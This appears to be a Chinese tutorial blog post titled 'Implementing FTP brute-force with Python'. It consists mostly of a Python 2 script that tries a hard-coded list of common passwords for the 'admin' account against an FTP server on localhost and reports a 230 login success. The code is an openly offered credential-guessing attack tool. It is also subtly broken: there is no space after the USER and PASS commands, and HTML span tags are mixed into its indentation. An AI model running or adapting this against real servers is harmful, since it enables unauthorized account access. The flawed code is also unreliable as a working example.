用Python实现FTP暴力破解

#!/usr/bin/env python
#-*-coding:utf-8-*-
#用Python实现FTP暴力破解


#网络编程
#套接字socket
#BSD UNIX的进程通信机制
import socket,sys
def Connect(username,password):
<span style="white-space:pre">	</span>s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #流失socket for  TCP
<span style="white-space:pre">	</span>print"[*]Tring"+username+":"+password
<span style="white-space:pre">	</span>s.connect(("127.0.0.1",21))
<span style="white-space:pre">	</span>data=s.recv(1024)
<span style="white-space:pre">	</span>s.send('USER'+username+'\r\n')
<span style="white-space:pre">	</span>data=s.recv(1024)
<span style="white-space:pre">	</span>s.send('PASS'+password+'\r\n')
<span style="white-space:pre">	</span>data=s.recv(3)  #3个字节
<span style="white-space:pre">	</span>s.send('QUIT\r\n')  #断开
<span style="white-space:pre">	</span>s.close()
<span style="white-space:pre">	</span>return data
if __name__=='__main__':
<span style="white-space:pre">	</span>username="admin"
<span style="white-space:pre">	</span>passwords=["admin","123456","root","admin123","guest","5201314","toor"]
<span style="white-space:pre">	</span>for password in passwords:
<span style="white-space:pre">		</span>attempt=Connect(username,password)
<span style="white-space:pre">		</span>if attempt=="230":
<span style="white-space:pre">			</span>print "[*]password fund:"+password
<span style="white-space:pre">			</span>sys.exit(0)

你可能感兴趣的:(用Python实现FTP暴力破解)